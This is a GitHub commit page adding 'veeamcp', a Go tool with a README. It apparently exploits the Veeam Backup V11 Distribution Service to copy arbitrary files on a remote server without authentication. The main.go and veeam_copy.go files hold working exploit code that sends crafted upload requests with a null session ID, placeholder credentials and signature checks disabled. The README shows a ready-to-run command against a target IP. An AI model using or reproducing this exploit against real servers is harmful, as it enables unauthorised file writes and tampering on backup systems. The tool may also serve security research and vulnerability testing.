Skip to content

Commit

Permalink
Added veeamcp
Browse files Browse the repository at this point in the history
  • Loading branch information
gboddin committed Apr 18, 2022
1 parent cf3eb1a commit dbfd553
Show file tree
Hide file tree
Showing 3 changed files with 89 additions and 0 deletions.
12 changes: 12 additions & 0 deletions cmd/veeamcp/README.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,12 @@
# veeamdl

Copy a file on a Veeam V11 server.


```sh
./veeamcp 192.168.0.10:9380 'C:\Windows\win.ini' 'C:\newfile.ini'
```

- 192.168.0.10 is Veeam IP
- 'C:\Windows\win.ini' is the file to copy from
- 'C:\newfile.ini' is the file to copy to
31 changes: 31 additions & 0 deletions cmd/veeamcp/main.go
Original file line number Diff line number Diff line change
@@ -0,0 +1,31 @@
package main

import (
"github.com/LeakIX/veeam-ds-client/v11"
"log"
"os"
"time"
)

func main() {
if len(os.Args) < 4 {
log.Fatalln("./veeamcp <target> <source-filename> <target-filename>")
}
target, sourceFile, targetFile := os.Args[1], os.Args[2], os.Args[3]
time.Sleep(1 * time.Second)
log.Println("Preparing file for copy")
err := v11.CacheFile(target, sourceFile)
if err == v11.IsVeeam10Err {
log.Fatalln("Found Veeam version v10")
}
if err != nil {
log.Fatalln(err)
}
log.Println("Prepared file for download, requesting file")
err = v11.VeeamCopy(target, sourceFile, targetFile)

if err != nil {
log.Fatalln(err)
}
log.Println("Done")
}
46 changes: 46 additions & 0 deletions v11/veeam_copy.go
Original file line number Diff line number Diff line change
@@ -0,0 +1,46 @@
package v11

import "errors"

func VeeamCopy(target, sourceFile, targetFile string) error {
vrequest := RequestData{
FISpec: UploadRequest{
RequestSpec: RequestSpec{
FIScope: 190,
FIMethod: 25,
FISessionID: "00000000-0000-0000-0000-000000000000",
},
SystemType: "WIN",
Host: "127.0.0.1",
User: "Av2XMhjKZY4=",
Password: "Av2XMhjKZY4=",
TaskType: "Package",
SshCredentials: "Av2XMhjKZY4=",
SshFingerprint: "0000",
SshTrustAll: true,
IsWindows: true,
IsFix: true,
CheckSignatureBeforeUpload: false,
DefaultProtocol: 3,
FileRelativePath: targetFile,
FileProxyPath: sourceFile,
FileRemotePath: targetFile,
HostIps: HostIps{
String: []String{{Value: "127.0.0.1"}},
},
},
}
var uploadReply UploadReply
err := SendRequest(target, vrequest, &uploadReply)
if err != nil {
return err
}
if uploadReply.HasExceptions() {
errTxt := ""
for _, exception := range uploadReply.PlainException.KeyValue {
errTxt += exception.Key + " : " + exception.Value + "\n"
}
return errors.New(errTxt)
}
return nil
}

0 comments on commit dbfd553

Please sign in to comment.